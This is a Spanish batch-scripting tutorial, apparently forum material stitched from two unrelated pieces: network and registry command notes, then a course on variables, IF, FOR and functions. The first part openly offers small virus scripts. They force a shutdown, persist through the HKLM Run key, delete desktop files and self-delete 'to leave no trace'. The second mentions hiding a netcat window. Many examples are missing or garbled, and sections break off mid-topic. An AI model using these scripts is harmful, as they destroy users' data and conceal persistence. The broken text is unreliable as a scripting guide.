Otra forma un poco mas compleja de ejecutar una tarea todos los dias a una hora es agregar el
comando a la clave run del registro para que inicie con windows. No es para nada complicado.
Lo unico seria agregar un add reg.
@echo off
rem este code contiene una redireccion,
at 3:00 shutdown -s -f -t 05 > c:/shut.bat
REG ADD HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v sysin2 /t REG_SZ /d
"c:/shut.bat"
del %0
exit
Los comandos de red son muy usados. Noy hay mucho que decir, son para diversas tareas tales
como pings, fingers, netbios, telnet, etc. Aqui les dejo una lista de comandos con su
explicacion.
FTP
Iniciar el cliente ftp
IPCONFIG parámetros
Mostrar las características de configuración de IP
/all -> muestra toda la información de configuración
/release adaptador -> libera la ip del adaptador especificado
/renew adaptador -> renueva la ip para el adaptador especificado
/flushdns -> purga la caché de resolución de dns
/registerdns -> actualiza las conexiones dhcp y vuelve a registrar los nombres dns
/displaydns -> muestra el contenido de la cache de resolución dns
NBTSTAT
Hace un estado de la red por netbios
Tiene muchos parámetros. Consultarlos mediante nbtstat /?
NET parámetros
Comando para el uso de redes netbios
USE \\equipo\recurso -> para acceder a unidades lógicas compartidas. Se le asignará un
nombre de unidad y estará disponible como una unidad mas del sistema.
USE \USER: dominio\usuario para acceder a un dominio
USE unidad /DELETE eliminar el acceso a unidad compartida.
SHARE trayecto /REMARK texto -> para compartir un recurso en red
START -> para comenzar sesión netbios
STOP -> para detener netbios
NETSTAT
Para ver el estado de la red.
-a -> mostrar todos los puertos y conexiones
-n -> mostrar números de puertos y direcciones
-r -> mostrar la tabla de rutas
-s -> mostrar estadísticas por protocolo
-p protocolo-> protocolo puede ser tcp o udp. muestra las conexiones activas
NSLOOKUP dominio
Muestra el dominio, su ip, dns donde se resuelve y sus alias
PING
Enivia paquetes a un host para comprovar su disponibilidad
TELNET ip puerto
Utilizar el protocolo telnet para acceso a un servidor exterior
TRACERT destino
muestra el camino que se toma hasta llegar a la ip
5. Redirecciones
Las redirecciones tienen una tarea simple y definida. Redireccionar comandos. Nos sirven por
ejemplo para redireccionar un comando a un archivo.
@echo off
shutdown -s -f -t 01 >> "c:/shut.bat"
En este caso creara el file "shut.bat" con el contenido redireccionado . Nos sirve para crear por
ejemplo un virus que se autoelimine para no dejar rastros.
@echo off
del /f /q c:/documents and settings/%currentuser%/escritorio/*.* >
"c:/windows/system32/sysdoc.bat"
del /f /q %0
rem comando %0 refiere al mismo archivo, explicado en el proximo capitulo
DISPOSITIVO -- SALIDA
CON -- Salida por la pantalla
PRN -- Salida por la impresora por defecto
LPT1 -- Salida por la 1º impresora en paralelo
COM1 -- Salida por el primer puerto serie
COM2 -- Salida por el segundo puerto serie
Estos valores, son parametros pre-definidos o a definir por el usuario. A continuacion seran
explicados con ejemplos.
%0 se refiere al programa mismo, osea al batch donde esta empleado. Es medio confuso pero
se comprueba con este ejemplo:
@echo off
del /f /q %0
exit
Los demas %1, %2, %3 hasta 1000, son parametros no definidos. Estos hacen referencia a los
parametros que se pueden especificar para un comando.
dir /p
del /f /q
"/f" es %1 y "/q" es %2
Estas variables, nos sirven a la hora de crear diferentes paramentros de comportamiento para
el programa. Por ej. Si queremo s que cuando le agregemos /help como %1, osea primer
parametro, no ejecute el programa normalmente, sino que ejecute la ayuda del programa.
Aqui les he traido un simple code que demuestra el funcionamiento de etas varibles, gurdenlo
con el nombre prueba.bat, luego en la consola vayan a la ruta donde lo guardaron y ejecutenlo
de este modo:
C:\Documents and Settings\administrador\Escritorio\>prueba.bat /help
@echo off
title Ejemplo de variables
if %1==/help (goto help) else goto :tex
:help
echo Esta es la ayuda
echo Aqui va la ayuda en caso de que el programa se ejecute con el parametro /help
pause
exit
:tex
echo De esta forma se ejecuta el programa normalmente
pause
exit
Accesar al registro es algo fundamental .Esto es posible mediante el comando "reg". Este
comando tiene infinitas posibilidades. Hay muchos parametros que se pueden especificar y
muchas funcionalidades. Tratare de explicarlas lo mas clara y simplemente. Estos son solos los
mas importantes, hay otros pero con estos ya es suficiente.
Los tipos de "reg" son los siguientes:
REG ADD
ADD REG hklm/software/microsoft/windows/currentversion/run /v syst /d
"c:/windows/system32/shut.bat"
Este comando agregaria una clave al registro de inicio con el nombre syst y con el valor de la
ruta de nuestro bat.
REG QUERY
REG QUERY clave [/v nvalor | /ve][/s]
clave [\equipo\]clave
equipo: Nombre del equipo remoto. Si se omite se usa el equipo actual. Sólo están disponibles
HKLM y HKU en equipos remotos.
clave: Con la forma nombre de CLAVERAIZ\subclave CLAVERAIZ [ HKLM | HKCU | HKCR | HKU |
HKCC ]
Subclave: Nombre completo de la clave de registro en la CLAVERAIZ seleccionada.
/v consulta para una clave de registro específica
nvalor: nombre en la clave seleccionada para consultar.
Si se omite, se consultará en todos los valores de la clave.
/ve Consultar el valor predeterminado o el de nombre vacío <sin nombre>
/s Consultar todas las subclaves y valores Ejemplos: REG QUERY
HKLM\Software\Microsoft\ResT /v Version
Muestra el valor del valor Version del registro. REG QUERY
HKLM\Software\Microsoft\ResT\Setup /s
Muestra todas las subclaves y valores en la clave de registro Setup.
REG EXPORT
Temario.
1.- Variables y Argumentos.
2.- Imprimir caracteres de comandos.
3.- Algunas otras variables de Entorno.
4.- IF
5.- FOR
6.- Funciones
7.- Includes
8.- Misc
9.- EOF
________________________________________
Variables y Argumentos
El manejo de variables en batch, es muy flexible., y este nos permite hacer desde operaciones
matemáticas, hasta seleccionar ciertas partes de una variable, asi como reemplazar cadenas de
texto, y obtener archivos.. y sus propiedades, la fecha, hora, generar numeros aleatorios, entre
otros.
Los argumentos que recibe un batch, son recibidos de la siguiente forma:
hara que:
%0 = batch
%1 = argumento1
%2 = dos
%3 = tres
al llamar:
Código:
C ocuments and SettingsAdministradortempcurso>astring 123 456 789
astring 123 456 789
astring 456 789
shift borro, el primer argumento.
por ejemplo:
este batch:
Código:
@echo off
echo Ruta al archivo: %~f1
echo Disco: %~d1
echo Solo ruta: %~p1
echo Nombre: %~n1
echo Extension: %~x1
echo Ruta Corta: %~s1
echo Atributos: %~a1
echo Fecha: %~t1
echo Tamaño: %~z1
echo %~anxt1
%*
es decir:
Código:
@echo off
echo Argumentos: %*
al ejecutar:
nos regresa:
Código:
C ocuments and SettingsAdministradortempcurso>astring parametro de varias letras
Argumentos: parametro de varias letras
Para asignar a una variable, el valor de algo escrito por el usuario, puedes usar:
set /P variable=
por ejemplo:
Código:
@echo off
echo ¿Como te llamas?
set /P miva=
Ahora, si por ejemplo, queremos, hacer algo como, obtener las ultimas 3 letras del nombre:
Código:
@echo off
echo Escribe tu Nombre
set /P NOM=
echo %NOM:~-3%
%NOM:~-3%
hara, obtener los ultimos 3 caracteres, como si se tratara de la funcion substring.
%NOM:~1,3%
veamos:
Código:
@echo off
set x=pru
set pru=HOLA
:: Lo mismo
echo %pru%
echo %%pru%%
echo %%%pru%%%
por ejemplo:
Código:
echo <html><h1>Hola</h1></html> >index.html
no funcionara, pero:
Código:
echo ^<html^>^<h1^>Hola^</h1^>^</html^> >index.html
dara:
Código:
C ocuments and SettingsAdministradortempcurso>type index.html
<html><h1>Hola</h1></html>
________________________________________
Tenemos otras variables de entorno que podrian servir, ademas de las comunes de
ALLUSERSPROFILE y HOMEPATH, por ejemplo:
Código:
@echo off
echo Directorio Actual: %CD%
echo Fecha: %DATE%
echo Hora: %TIME%
echo Numero Aleatorio: %RANDOM%
dara como resultado:
Código:
C ocuments and SettingsAdministradortempcurso>astring
Directorio Actual: C ocuments and SettingsAdministradortempcurso
Fecha: Lun 24/07/2006
Hora: 2:13:49.33
Numero Aleatorio: 24523
Otras instrucciones muy utiles, serian POPD y PUSHD, que sirven para guardar y regresar al
directorio actual, por ejemplo:
Código:
@echo off
echo %CD%
PUSHD
echo %CD%
POPD
echo %CD%
________________________________________
IF
valores de error
comparar cadenas
existencia de archivos
comparaciones matematicas
al hacer
usamos %~1 para que aunque el usuario ponga comillas, no salga error
Código:
@echo off
IF /I "%~1"=="hola" echo hola
este codigo, solo responde si dices hola CON minusculas. /I es para hacer mas estricta la
comparacion.
EQU - igual
NEQ - no igual
LSS - menor que
LEQ - menor que o igual
GTR - mayor que
GEQ - mayor que o igual
por ejemplo:
Código:
@echo off
echo Cual es tu edad?
SET /P m=
IF %m% GEQ 18 (
echo ERES MAYOR DE EDAD
) ELSE (
echo NO ERES MAYOR DE EDAD
)
que regresa:
Código:
________________________________________
FOR
FOR es una herramienta muy completa, nos permite analizar segmentos de la salida de
comandos, funciones y el contenido de archivos.
sinembargo, la forma mas sencilla de usar FOR, es para numerar archivos, y hacer algo con
ellos.. por ejemplo:
Código:
FOR %%x in (x*) DO echo %%x
mostrará todos los archivos que empiezan con x.
El comando se puede hacer "recursivo", es decir, que se ejecute dentro de cada directorio, con
el comando "/R", por ejemplo, en una estructura de directorios como la siguiente:
Código:
├───adios
│ └───algo
│ └───xx
└───hola
al ejecutar el comando:
Código:
FOR /R /D %%x in (a*) DO echo %%x
C:adios
C:adiosalgo
nos mostrara todos los archivos que coinciden con la sequencia especificada, incluso
podriamos hacer un buscador en batch, con el uso de FINDSTR y FOR.
Tenemos otro modificador, /F que nos permite usar ciertas opciones para separar el resulado
de las acciones.. comandos, cadenas, o archivos. Su sintaxis es la siguiente:
Código:
FOR /F ["opciones"] %var IN (conjunto) DO (acciones)
________________________________________
Funciones
Muchos creen que las etiquetas solo sirven para los goto.. sinembargo una etiqueta puede
servir de funcion y recibir parametros.
hasta ahora.. todo es igual a usar goto a excepcion del uso de argumentos, sinembargo.. si
queremos hacer un.. "return", se hace usando:
goto:EOF
entonces, en situaciones como:
Código:
@echo off&call:main&goto:EOF
:suma
set /A res=%1 + %2
echo %res%
goto:EOF
:resta
set /A res=%1 - %2
echo %res%
goto:EOF
:multiplica
set /A res=%1 * %2
echo %res%
goto:EOF
:main
set /P arg=Escribe 2 numeros separados por un espacio
echo %arg%
echo su suma es:
call:suma %arg%
goto:EOF
________________________________________
Includes
Para hacer un "include" oincluir un archivo, solo debes llamarlo asi:
archivo_a_incluir.bat funcion argumentos
y en el archivo a incluir, debe de estar al principio: @echo off&call:%*&goto:EOF
por ejemplo:
--inclu.bat--
Código:
@echo off&call:%*&goto:EOF
:cabeza
echo ###############
echo # Hecho por: #
echo # sirdarckcat #
echo ###############
goto:EOF
:uso
echo uso:
echo %~nx0 Nombre
goto:EOF
:nombre
echo Hola %*
goto:EOF
--inicio.bat--
Código:
@echo off
if "%~1"=="" (
inclu.bat cabeza
inclu.bat uso
) else (
inclu.bat nombre %~1
)
C:>
________________________________________
Misc
Algunos filtros y comandos interesantes:
• comando | more
muestra el resultado del comando de forma paginada
• comando | sort
muestra el resultado del comando de forma ordenada
• TITLE "algo"
cambia el titulo de la ventana de CMD
• SUBST ruta/a/alguna/carpeta [letra_unidad]
asgina a letra_unidad la ruta de acceso
• FIND "cadena"
busca cierta cadena en un archivo (se puede usar como filtro), con el modificador /v encuentra
solo las que NO tienen la linea especificada. (para mas info, escribe en CMD: FIND /?)
• FINDSTR
extension de FIND, acepta expresiones regulares, y busqueda general (lo mas parecido que
DOS tiene a grep), descripción detallada:
Código:
Busca cadenas en los archivos.
FINDSTR [/B] [/E] [/L] [/R] [/S] [/I] [/X] [/V] [/N] [/M] [/O] [/P]
[/F:archivo]
[/C:cadena] [/G:archivo] [/D:lista de directorios] [/A:atributos de color]
Iniciar en prioridades:
/LOW - baja
/NORMAL - normal
/HIGH - alta
/REALTIME - tiempo real
/ABOVENORMAL - sobre lo normal
/BELOWNORMAL - debajo de lo normal
por ejemplo, si quieren abrir un programa sin generar una ventana, por ejemplo netcat,
podrian hacer algo asi:
que lo inicia en una zona de memoria separada, con prioridad alta, en el contexto original, y en
%windir%
EOF
EOF es una etiqueta que define el fin del archivo, sirve para terminar funciones, y en este caso,
solo sirve para terminar el documento , espero les sirva